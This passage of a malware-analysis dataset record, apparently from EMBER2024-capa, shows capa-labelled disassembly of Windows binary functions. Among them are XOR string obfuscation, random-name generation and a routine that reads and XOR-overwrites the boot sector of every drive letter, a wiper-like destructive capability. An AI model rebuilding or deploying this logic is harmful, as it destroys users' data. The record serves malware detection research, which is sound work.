joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400dc810
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov eax, dword [0x1401cff78]
xor r9d, r9d
cmp byte [0x1401cff7d], r9b
mov rbx, rcx
movsd xmm0, qword [0x1401cff70]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1401cff7c]
mov word [rsp + 0x34], ax
movsd qword [rsp + 0x28], xmm0
je 0x1400dc98f
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r9d
jl 0x1400dc94a
movdqa xmm2, xmmword [0x1401d7e10]
mov ecx, 8
movdqa xmm4, xmmword [0x1401d8380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401d7e50]
psubd xmm2, xmm0
movd xmm0, dword [0x1401cff70]
andps xmm2, xmmword [0x1401d7f20]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401d7fd0]
xorps xmm2, xmm0
movd dword [rsp + 0x28], xmm2
movdqa xmm2, xmmword [0x1401d7e30]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401d7e50]
psubd xmm2, xmm0
movd xmm0, dword [rsp + 0x2c]
andps xmm2, xmmword [0x1401d7f20]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401d7fd0]
xorps xmm2, xmm0
movd dword [rsp + 0x2c], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x28]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x1400dc960
xorps xmm0, xmm0
lea rax, [rsp + 0x28]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r9
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], r9
nop dword [rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x1400dc9b0
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.1400256b0
mov rax, rbx
add rsp, 0x40
pop rbx
ret
Function at 0x1400dc9d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
movsd xmm0, qword [0x1401d04a0]
xor r9d, r9d
cmp byte [0x1401d04ab], r9b
mov rbx, rcx
mov eax, dword [0x1401d04a8]
movsd qword [rsp + 0x28], xmm0
mov dword [rsp + 0x30], eax
je 0x1400dcb3f
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r9d
jl 0x1400dcafe
movdqa xmm2, xmmword [0x1401d7e10]
mov ecx, 8
movdqa xmm4, xmmword [0x1401d8380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401d7e50]
psubd xmm2, xmm0
movd xmm0, dword [0x1401d04a0]
andps xmm2, xmmword [0x1401d7f20]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401d7fd0]
xorps xmm2, xmm0
movd dword [rsp + 0x28], xmm2
movdqa xmm2, xmmword [0x1401d7e30]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401d7e50]
psubd xmm2, xmm0
movd xmm0, dword [rsp + 0x2c]
andps xmm2, xmmword [0x1401d7f20]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401d7fd0]
xorps xmm2, xmm0
movd dword [rsp + 0x2c], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x28]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0xc
jl 0x1400dcb10
xorps xmm0, xmm0
lea rax, [rsp + 0x28]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r9
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], r9
nop dword [rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x1400dcb60
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.1400256b0
mov rax, rbx
add rsp, 0x40
pop rbx
ret
Function at 0x1400deec0
Capabilities:
Get routing table

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3d0
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
xor ebx, ebx
lea rdx, [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x58], ebx
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
test eax, eax
je 0x1400def20
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [rdi], ebx
jbe 0x1400def71
nop dword [rax]
nop dword [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
cmp dword [rcx + rdi + 4], 0
movups xmm3, xmmword [rcx + rdi + 0x14]
jne 0x1400def5a
lea rcx, [rsp + 0x60]
movd dword [rsp + 0x260], xmm3
call qword [sym.imp.IPHLPAPI.DLL_GetIfEntry]
test eax, eax
je 0x1400def62
inc ebx
cmp ebx, dword [rdi]
jb 0x1400def30
jmp 0x1400def71
cmp dword [rsp + 0x264], 6
sete byte [0x141673f34]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140175100
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3d0
pop rdi
ret
Function at 0x1400ee780
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rsi
sub rsp, 0x2f0
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rax, str.FAT32
movsx r8d, cl
mov qword [rsp + 0x40], rax
lea rdx, str.._c:
lea rax, [0x1401d08bc]
mov dword [rsp + 0x48], 0x52
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xa0]
lea rax, str.NTFS
mov dword [rsp + 0x4c], 0x43
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x58], Ordinal_60
mov dword [rsp + 0x5c], Ordinal_45
mov dword [rsp + 0x68], 3
mov dword [rsp + 0x6c], Ordinal_79
call fcn.14010a750
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400ee95b
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [rsp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400ee952
mov qword [rsp + 0x308], rbx
lea rbx, [rsp + 0x48]
mov qword [rsp + 0x310], rdi
xor edi, edi
mov rcx, qword [rbx - 8]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400ee8a0
mov eax, dword [rbx]
lea rdx, [rsp + 0xe0]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400ee8ce
inc edi
add rbx, 0x10
cmp edi, 3
jl 0x1400ee890
jmp 0x1400ee942
cmp edi, 3
jge 0x1400ee942
lea rcx, [rsp + 0x70]
call fcn.1401193d0
cmp qword [rax + 0x18], 0xf
jbe 0x1400ee8e7
mov rax, qword [rax]
mov eax, dword [rax]
movsxd rcx, edi
add rcx, rcx
mov ecx, dword [rsp + rcx*8 + 0x4c]
xor dword [rsp + rcx + 0xe0], eax
lea rcx, [rsp + 0x70]
call fcn.1400252b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1400ee942
lea r9, [rsp + 0x94]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x308]
mov rdi, qword [rsp + 0x310]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140175100
add rsp, 0x2f0
pop rsi
ret

Function at 0x1400ee980
Capabilities:
Parse pe header
Read file on windows
Write file on windows

Disassembly:
sub rsp, 0x28
mov cl, 0x41
call fcn.1400ee780
mov cl, 0x42
call fcn.1400ee780
mov cl, 0x43
call fcn.1400ee780
mov cl, 0x44
call fcn.1400ee780
mov cl, 0x45
call fcn.1400ee780
mov cl, 0x46
call fcn.1400ee780
mov cl, 0x47
call fcn.1400ee780
mov cl, 0x48
call fcn.1400ee780
mov cl, 0x49
call fcn.1400ee780
mov cl, 0x4a
call fcn.1400ee780
mov cl, 0x4b
call fcn.1400ee780
mov cl, 0x4c
call fcn.1400ee780
mov cl, 0x4d
call fcn.1400ee780
mov cl, Ordinal_79
call fcn.1400ee780
mov cl, reloc.WLDAP32.dll_Ordinal_79
call fcn.1400ee780
mov cl, 0x50
call fcn.1400ee780
mov cl, 0x51
call fcn.1400ee780
mov cl, 0x52
call fcn.1400ee780
mov cl, 0x53
call fcn.1400ee780
mov cl, 0x54
call fcn.1400ee780
mov cl, 0x55
call fcn.1400ee780
mov cl, 0x56
call fcn.1400ee780
mov cl, 0x58
call fcn.1400ee780
mov cl, 0x57
call fcn.1400ee780
mov cl, 0x5a
add rsp, 0x28
jmp fcn.1400ee780
Function at 0x1400eea40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x13f0
call fcn.140175b70
sub rsp, rax
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x13e0], rax
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rsp + 0x28], xmm0
movzx eax, byte [0x1401ccf00]
mov byte [rsp + 0x38], al
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], cl
mov ebx, 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov ecx, eax
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
nop dword [rax]
nop word [rax + rax]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
inc rbx
cmp rbx, 0x270
jb 0x1400eead0
mov dword [rsp + 0x50], 0x270
mov ebx, 5
mov esi, 0x80000000
lea rcx, [rsp + 0x50]
call fcn.1400263b0
mov eax, eax
shr rax, 0x1c
sub rax, rsi
xor rax, 0xffffffff80000000
movzx r9d, byte [rsp + rax + 0x28]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1400eeb4c
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x1400eeb41
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400eeb54
mov rcx, rdi
call fcn.1400257f0
sub rbx, 1
jne 0x1400eeb01
mov rax, rdi
mov rcx, qword [rsp + 0x13e0]
xor rcx, rsp
call fcn.140175100
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140109f70
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x140109fa1
xor eax, eax
jmp 0x14010a0eb
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140109fde
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x140109fde
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x14010a0eb
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x14010a0e0
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14010a025
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14010a033
movzx ecx, di
jmp 0x14010a087
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14010a0a0
sub eax, 1
je 0x14010a0a0
cmp eax, 2
jne 0x14010a0e0
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x14010a0e3
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x14010a0ce
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x14010a0e0
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140175100
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x14010a270
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14010a345
cmp byte [rcx + 0x72], 0
je 0x14010a345
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + Ordinal_26]
cmp di, ax
je 0x14010a341
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14010a306
sub eax, 1
je 0x14010a30a
cmp eax, 2
jne 0x14010a341
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140175100
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14010a338
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14010a341
cmp byte [rbx + 0x72], 0
sete al
jmp 0x14010a2ee
xor al, al
jmp 0x14010a2ee
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140175100
add rsp, 0x60
pop rbx
ret
Function at 0x14010d390
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x80
mov eax, dword [0x1401d6678]
xor r10d, r10d
movups xmm0, xmmword [0x1401d6668]
mov dword [rsp + 0x60], eax
mov rbx, rcx
movzx eax, byte [0x1401d667c]
mov r8d, r10d
mov qword [rcx], r10
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x64], al
jl 0x14010d4fe
movdqa xmm0, xmmword [0x1401d7fa0]
lea rcx, [rsp + 0x54]
movdqa xmm4, xmmword [0x1401d7e10]
movdqa xmm3, xmmword [0x1401d82e0]
movdqa xmm5, xmmword [0x1401d7e60]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm6
movdqa xmm6, xmmword [0x1401d7f20]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14010d410
movaps xmm6, xmmword [rsp + 0x70]
cmp r8d, 0x15
jge 0x14010d541
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14010d510
mov qword [rsp + 0x30], r10
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx], rax
mov rax, rbx
add rsp, 0x80
pop rbx
ret
Function at 0x140118ab0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, r8
mov rbx, rcx
mov qword [rsp + 0x60], rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x70]
call fcn.140176388
mov dword [rsp + 0x58], 0x200
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetPolicies
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140118bb8
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140118bad
mov eax, dword [rsp + 0x68]
dec eax
cmp eax, 1
ja 0x140118bad
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [rsp + 0x58]
shr r8, 1
dec r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.1400b8aa0
nop
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.140118c10
nop
lea rcx, [rsp + 0x38]
call fcn.1400b83d0
jmp 0x140118be0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
xor r8d, r8d
lea rdx, [0x1401d6828]
mov rcx, rbx
call fcn.1400b8aa0
mov rax, rbx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140175100
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret
Function at 0x1401193d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1400
call fcn.140175b70
sub rsp, rax
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x13f0], rax
mov rbx, rcx
mov qword [rsp + 0x50], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [0x1401d6840]
movups xmmword [rsp + 0x38], xmm1
mov eax, dword [0x1401d6850]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1401d6854]
mov byte [rsp + 0x4c], al
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], cl
mov edi, 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
mov dword [rsp + 0x13e4], 0xffffffff
mov dword [rsp + 0x64], eax
nop word [rax + rax]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edi
mov dword [rsp + rdi*4 + 0x64], ecx
inc rdi
cmp rdi, 0x270
jb 0x140119470
mov dword [rsp + 0x60], 0x270
mov edi, 8
mov esi, 0x80000000
lea rcx, [rsp + 0x60]
call fcn.1400263b0
mov ecx, eax
imul rax, rcx, 0x25
cmp eax, 6
ja 0x1401194cb
lea rcx, [rsp + 0x60]
call fcn.1400263b0
mov ecx, eax
imul rax, rcx, 0x25
cmp eax, 7
jb 0x1401194b6
shr rax, 0x20
sub rax, rsi
xor rax, 0xffffffff80000000
movzx r9d, byte [rsp + rax + 0x28]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14011950a
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1401194ff
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140119512
mov rcx, rbx
call fcn.1400257f0
sub rdi, 1
jne 0x1401194a1
mov rax, rbx
mov rcx, qword [rsp + 0x13f0]
xor rcx, rsp
call fcn.140175100
lea r11, [rsp + 0x1400]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140119aa0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13e0
call fcn.140175b70
sub rsp, rax
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x13d0], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor edi, edi
mov dword [rsp + 0x28], edi
lea rcx, [rsp + 0x20]
call fcn.140093c30
mov edx, dword [rax]
mov dword [rsp + 0x13c4], 0xffffffff
mov dword [rsp + 0x44], edx
mov ecx, 1
nop dword [rax]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x44], edx
inc rcx
cmp rcx, 0x270
jb 0x140119b00
mov dword [rsp + 0x40], 0x270
mov eax, dword [str._PO8]
mov dword [rsp + 0x20], eax
cmp byte [0x1401d748f], dil
je 0x140119c02
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140119bba
movdqa xmm3, xmmword [0x1401d7e10]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401d82d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401d82d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401d7e70]
psubd xmm3, xmm0
andps xmm3, xmmword [0x1401d7f20]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x1401d7fd0]
movd xmm0, eax
xorps xmm3, xmm0
movd dword [rsp + 0x20], xmm3
jmp 0x140119c02
lea r9, [rsp + 0x20]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140119bd0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140119c20
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400256b0
mov dword [rsp + 0x28], 1
mov edi, 6
lea rcx, [rsp + 0x40]
call fcn.1400263b0
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x140119c76
nop dword [rax]
lea rcx, [rsp + 0x40]
call fcn.1400263b0
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x140119c60
shr r9, 0x20
add r9b, 0x61
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140119caa
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x140119c9f
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140119cb2
mov rcx, rbx
call fcn.1400257f0
